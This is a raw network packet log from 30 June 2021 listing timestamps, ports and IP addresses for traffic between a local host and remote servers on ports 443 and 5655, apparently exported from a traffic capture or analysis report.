Jun 30, 2021 20:06:09.559561014 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.559580088 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.559627056 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.559634924 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.559679031 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.559690952 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.559734106 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.559748888 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.559793949 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.559812069 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.559842110 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.559860945 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.559894085 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.559896946 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.559940100 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.559948921 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.559998989 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.560002089 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.560050964 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.560056925 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.560106039 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.560111046 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.560158968 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.560177088 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.560205936 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.560225010 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.560249090 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.560257912 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.560293913 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.560305119 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.560328960 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.560339928 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.560365915 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.560370922 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.560400963 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.560417891 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.560445070 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.560447931 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.560483932 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.560487032 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.560518980 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.560523033 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.560569048 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.560568094 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.560616016 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.560616016 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.560657024 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.560664892 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.560709953 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.561985016 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.562047005 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.562084913 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.562108040 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.562133074 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.562156916 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.562161922 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.562202930 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.562216043 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.562258959 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.562269926 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.562311888 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.562319040 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.562362909 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.562366962 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.562416077 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.562418938 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.562464952 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.562473059 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.562519073 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.562531948 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.562576056 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.562587976 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.562630892 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.562642097 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.562684059 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.562695980 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.562738895 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.562748909 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.562793970 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.562799931 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.562844038 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.562854052 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.562899113 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.562911034 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.562943935 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.562969923 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.562994957 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.563010931 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.563047886 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.563051939 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.563095093 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.563105106 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.563148022 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.563183069 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.563225985 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.563236952 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.563292027 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.563316107 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.563333988 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.563343048 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.563384056 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.563395023 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.563433886 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.563447952 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.563488960 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.563499928 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.563544035 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.563560963 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.563611984 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.563613892 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.563662052 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.563667059 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.563711882 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.603213072 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.603247881 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.603271961 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.603298903 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.603322983 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.603344917 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.603353024 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.603368044 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.603391886 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.603404045 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.603415012 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.603434086 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.603437901 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.603456020 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.603461981 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.603487968 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.603490114 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.603511095 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.603512049 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.603533983 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.603538036 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.603558064 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.603560925 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.603580952 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.603584051 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.603605032 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.603605032 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.603629112 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.603632927 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.603651047 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.603660107 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.603678942 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.603678942 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.603703022 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.603703022 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.603724003 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.603727102 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.603746891 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.603749990 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.603768110 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.603773117 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.603789091 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.603796005 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.603812933 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.603820086 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.603835106 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.603847027 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.603853941 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.603873014 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.603887081 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.603909016 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.605480909 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.605514050 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.605535030 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.605555058 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.605575085 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.605597019 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.605609894 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.605622053 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.605644941 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.605664968 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.605671883 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.605694056 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.605695009 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.605717897 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.605735064 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.605737925 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.605758905 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.605772018 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.605782032 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.605796099 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.605829000 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.606271029 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.606297016 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.606323957 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.606333971 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.606347084 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.606367111 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.606388092 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.606424093 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.615366936 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.619559050 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:14.262461901 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:14.262516975 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:14.262547016 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:14.262577057 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:49.750466108 CEST	49737	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:06:49.873254061 CEST	5655	49737	209.205.218.178	192.168.2.3
Jun 30, 2021 20:06:49.875803947 CEST	49737	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:06:49.877393007 CEST	49737	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:06:49.877500057 CEST	49737	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:06:49.877986908 CEST	49737	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:06:49.999703884 CEST	5655	49737	209.205.218.178	192.168.2.3
Jun 30, 2021 20:06:50.003038883 CEST	5655	49737	209.205.218.178	192.168.2.3
Jun 30, 2021 20:06:50.003067970 CEST	5655	49737	209.205.218.178	192.168.2.3
Jun 30, 2021 20:06:50.003176928 CEST	49737	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:06:55.418158054 CEST	49738	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:06:55.540287971 CEST	5655	49738	209.205.218.178	192.168.2.3
Jun 30, 2021 20:06:55.540438890 CEST	49738	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:06:55.541711092 CEST	49738	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:06:55.541809082 CEST	49738	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:06:55.667349100 CEST	5655	49738	209.205.218.178	192.168.2.3
Jun 30, 2021 20:06:56.687340021 CEST	5655	49738	209.205.218.178	192.168.2.3
Jun 30, 2021 20:06:56.687376022 CEST	5655	49738	209.205.218.178	192.168.2.3
Jun 30, 2021 20:06:56.687449932 CEST	49738	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:06:57.134427071 CEST	49738	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:06:57.258712053 CEST	5655	49738	209.205.218.178	192.168.2.3
Jun 30, 2021 20:06:57.258745909 CEST	5655	49738	209.205.218.178	192.168.2.3
Jun 30, 2021 20:06:57.259176970 CEST	49738	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:06:57.465744972 CEST	49739	5655	192.168.2.3	192.119.14.178
Jun 30, 2021 20:06:57.586788893 CEST	5655	49739	192.119.14.178	192.168.2.3
Jun 30, 2021 20:06:57.591353893 CEST	49739	5655	192.168.2.3	192.119.14.178
Jun 30, 2021 20:06:57.593161106 CEST	49739	5655	192.168.2.3	192.119.14.178
Jun 30, 2021 20:06:57.593265057 CEST	49739	5655	192.168.2.3	192.119.14.178
Jun 30, 2021 20:06:57.715010881 CEST	5655	49739	192.119.14.178	192.168.2.3
Jun 30, 2021 20:07:07.723777056 CEST	5655	49739	192.119.14.178	192.168.2.3
Jun 30, 2021 20:07:07.723862886 CEST	49739	5655	192.168.2.3	192.119.14.178
Jun 30, 2021 20:07:17.860116959 CEST	5655	49739	192.119.14.178	192.168.2.3
Jun 30, 2021 20:07:17.860275030 CEST	49739	5655	192.168.2.3	192.119.14.178
Jun 30, 2021 20:07:28.003086090 CEST	5655	49739	192.119.14.178	192.168.2.3
Jun 30, 2021 20:07:28.003715038 CEST	49739	5655	192.168.2.3	192.119.14.178
Jun 30, 2021 20:07:28.698199987 CEST	5655	49739	192.119.14.178	192.168.2.3
Jun 30, 2021 20:07:28.698234081 CEST	5655	49739	192.119.14.178	192.168.2.3
Jun 30, 2021 20:07:28.698477030 CEST	49739	5655	192.168.2.3	192.119.14.178
Jun 30, 2021 20:07:38.826122999 CEST	5655	49739	192.119.14.178	192.168.2.3
Jun 30, 2021 20:07:38.826250076 CEST	49739	5655	192.168.2.3	192.119.14.178
Jun 30, 2021 20:07:40.287331104 CEST	5655	49739	192.119.14.178	192.168.2.3
Jun 30, 2021 20:07:40.287364006 CEST	5655	49739	192.119.14.178	192.168.2.3
Jun 30, 2021 20:07:40.287611008 CEST	49739	5655	192.168.2.3	192.119.14.178
Jun 30, 2021 20:07:40.873286963 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:40.997646093 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:40.997773886 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:40.999989033 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:41.000070095 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:41.124814987 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:41.125744104 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:41.125766993 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:41.125860929 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:41.738643885 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:41.738688946 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:41.738831997 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:41.852421999 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:41.852518082 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:41.852874041 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:41.853019953 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:41.853097916 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:41.975466013 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:44.389466047 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:44.389704943 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:44.566602945 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:44.624105930 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:44.625096083 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:44.625169992 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:44.653714895 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:44.832573891 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:44.893552065 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:44.903609037 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:45.082351923 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:45.141604900 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:45.153796911 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:45.334681988 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:45.392664909 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:45.392702103 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:45.392776966 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:45.451107025 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:45.630758047 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:45.686934948 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:45.703284979 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:45.878885031 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:45.940912008 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:45.950862885 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:46.115252972 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:46.387847900 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:46.434820890 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:46.482502937 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:46.513685942 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:46.638926029 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:46.755784988 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:46.795444965 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:46.971991062 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:47.031702995 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:47.075439930 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:47.075603962 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:47.237643003 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:47.311074018 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:47.313920975 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:47.314277887 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:47.314789057 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:47.315897942 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:47.316070080 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:47.388324976 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:47.565785885 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:47.623903990 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:47.669365883 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:47.672061920 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:47.701719046 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:47.823906898 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:47.938716888 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:47.981791973 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:47.982465029 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:48.159645081 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:48.218595028 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:48.220612049 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:48.221513033 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:48.221540928 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:48.221672058 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:48.222556114 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:48.263144016 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:48.295100927 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:48.472054005 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:48.530684948 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:48.575793982 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:48.576926947 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:48.607449055 CEST	49746	5655	192.168.2.3	209.205.218.178
Jun 30, 2021 20:07:48.731976986 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:48.846613884 CEST	5655	49746	209.205.218.178	192.168.2.3
Jun 30, 2021 20:07:48.873153925 CEST	49746	5655	192.168.2.3	209.205.218.178
